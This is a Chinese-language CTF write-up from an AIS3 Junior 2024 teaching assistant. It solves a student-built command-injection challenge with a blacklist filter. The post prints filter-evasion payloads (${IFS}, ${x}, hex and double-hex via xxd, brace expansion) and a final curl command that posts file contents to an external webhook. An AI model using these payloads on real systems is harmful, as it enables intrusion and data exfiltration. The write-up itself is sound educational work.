AIS3 Junior 2024-command injection bypass master
Author: 堇姬Naup
前言
這次去AIS3 junior當了助教,也是我第一次當助教,這次跟vincent一起擔任A組的助教,本篇記錄了一些我們學員專題題目,我的解題及vincent的解題方法
學員的專題
這次A組的學員挑的專題是針對command injection加入了更多黑名單bypass的方法,他們出完很開心的拿來給我跟vincent玩,結果我們問他們有沒有官解他們說沒有www,不過這題是真的出的很好
先看source code吧
main
1 | import os |
他ban掉了一些字元,但可以bypass
首先是cat ls cd whoami這些字元其實都是可以透過在中間加入一個${x}來bypass的
1 | c${x}at |
再來我覺得比較麻煩的ban掉了A跟a,會影響到cat、base64甚至是後續利用網址有a的問題
另外像是?跟/這兩個字被ban,也影響到後續我使用curl手法來收flag(因為網址有/,GET request有?)
而我這邊挑選bypass的方法是xxd,也就是將輸出的字在ASCII跟hex間做轉換
1 | xxd -r -p //hex to ASCII |
再來是因為xxd轉hex有時候會產生’\n’,所以我透過tr -d來刪除換行
1 | tr -d '\n' |
再來空格就老方法${IFS}
我們來嘗試開串吧
首先我們最需要考慮的是,怎麼讀檔案,因為a被禁用,所以不能用echo來讀,那我們可以去這個網站逛逛
這個網站上有很多command read file一些trick
最後我突然想到可以用strings來印出檔案裡面的東西,所以先串
1 | strings${IFS}FLAG |
然後就會發現FLAG的A被blacklist掉,所以採用hex的方案來解決,把FLAG轉hex,再用xxd轉回ASCII造出FLAG
1 | echo${IFS}'464c4147'${IFS}|${IFS}xxd${IFS}-r${IFS}-p) |
再來丟到strings讀
變成
1 | $(strings${IFS}$(echo${IFS}'464c4147'${IFS}|${IFS}xxd${IFS}-r${IFS}-p)) |
這樣就可以讀FLAG,但是會發現一件很尷尬的事,因為FLAG這份檔案用了摩斯密碼進行加密,內容的-.
被當成參數,導致ping直接噴錯,所以我嘗試印出FLAG後再進行一次hex
1 | $(echo${IFS}$(strings${IFS}$(echo${IFS}'464c4147'${IFS}|${IFS}xxd${IFS}-r${IFS}-p))|${IFS}xxd${IFS}-p|tr${IFS}-d${IFS}'\n') |
然後就解…了嗎?
居然被當正常的輸入ping成功了,沒有噴錯
所以並沒有進到
1 | if "Name or service not known" in result : return render_template("index.html", inlinePage=render_template("card.html", message=render_template("post.html"), result="ERROR : \n" + result)) |
來把我們想要的結果印出來
我嘗試try了許多方法,像是塞入空格或是特殊字元,讓ping噴出Name or service not known
,但都失敗了
最後我採用了curl的方式將我們的FLAG送出來
同樣的觀察webhook網址使用了/
,但我發現一樣可以使用hex來解決,所以這邊先把webhook網址hex
1 | 68747470733A2F2F776562686F6F6B2E736974652F63363266373331632D333264312D346563392D383033652D393237323839393462306139 |
but,:
這個hex結果是3A
,又有A,所以一樣有問題,想了一下發現,hex一次不行,那我就double hex就好了,所以最後產生出webhook網址的方式是
1 | $(echo${IFS}'3638373437343730373333613266326637373635363236383666366636623265373336393734363532663633333633323636333733333331363332643333333236343331326433343635363333393264333833303333363532643339333233373332333833393339333436323330363133393061'${IFS}|${IFS}xxd${IFS}-r${IFS}-p${IFS}|${IFS}xxd${IFS}-r${IFS}-p) |
最後用curl直接送出FLAG內容就可以了
1 | $(cu${x}rl${IFS}$(echo${IFS}'3638373437343730373333613266326637373635363236383666366636623265373336393734363532663633333633323636333733333331363332643333333236343331326433343635363333393264333833303333363532643339333233373332333833393339333436323330363133393061'${IFS}|${IFS}xxd${IFS}-r${IFS}-p${IFS}|${IFS}xxd${IFS}-r${IFS}-p)${IFS}-X${IFS}POST${IFS}-d${IFS}$(echo${IFS}$(strings${IFS}$(echo${IFS}'464c4147'${IFS}|${IFS}xxd${IFS}-r${IFS}-p))|${IFS}xxd${IFS}-p|tr${IFS}-d${IFS}'\n')) |
收到FLAG的內容
這樣就成功了…嗎?
我們嘗試解密
1 | .. .----. -- / .- / -... .- -.. / .... .- -.-. -.- . .-. --..-- / .--. .-.. . .- ... . / ... . . / .-..-. .-.-.- ..-. .-.. .- --. .-..-. |
1 | I'M A BAD HACKER, PLEASE SEE ".FLAG" |
這裡的巧思很好,由於ban掉了a,導致ls不會印出.FLAG
這個檔案,下意識就會去印FLAG,而摩斯密碼在印出的時候會遇到許多問題,總之就把上述payload的FLAG改成.FLAG就可以解了
Final payload
1 | $(cu${x}rl${IFS}$(echo${IFS}'3638373437343730373333613266326637373635363236383666366636623265373336393734363532663633333633323636333733333331363332643333333236343331326433343635363333393264333833303333363532643339333233373332333833393339333436323330363133393061'${IFS}|${IFS}xxd${IFS}-r${IFS}-p${IFS}|${IFS}xxd${IFS}-r${IFS}-p)${IFS}-X${IFS}POST${IFS}-d${IFS}$(strings${IFS}$(echo${IFS}'2e464c4147'${IFS}|${IFS}xxd${IFS}-r${IFS}-p))) |
vincent的payload
vincent作法是,因為ping沒有輸出Name or service not known
,所以我們就echo自己印,一樣用hex再用xxd轉回來輸出,來成功輸出FLAG
1 | "$(echo${IFS}'4e616d65206f722073657276696365206e6f74206b6e6f776e'|xxd${IFS}-r${IFS}-p)$(strings${IFS}`echo${IFS}'2e464c4147'|xxd${IFS}-r${IFS}-p`|xxd${IFS}-p)" |
壓payload
那時候跟vincent討論是不是可以把payload壓短,然後上長度限制,最後把長度壓到了132
1 | "$({echo,'4e616d65206f722073657276696365206e6f74206b6e6f776e'}|{xxd,-r,-p})$(strings$IFS`{echo,'2e464c4147'}|{xxd,-r,-p}`|{xxd,-p})" |
使用大括號可以省掉很多${IFS}
最後總結我們的bypass技巧
1 | curl -> 在ping之前就curl出去 |
後記
最後放張圖,當助教好好玩ww(熊熊是vincent的)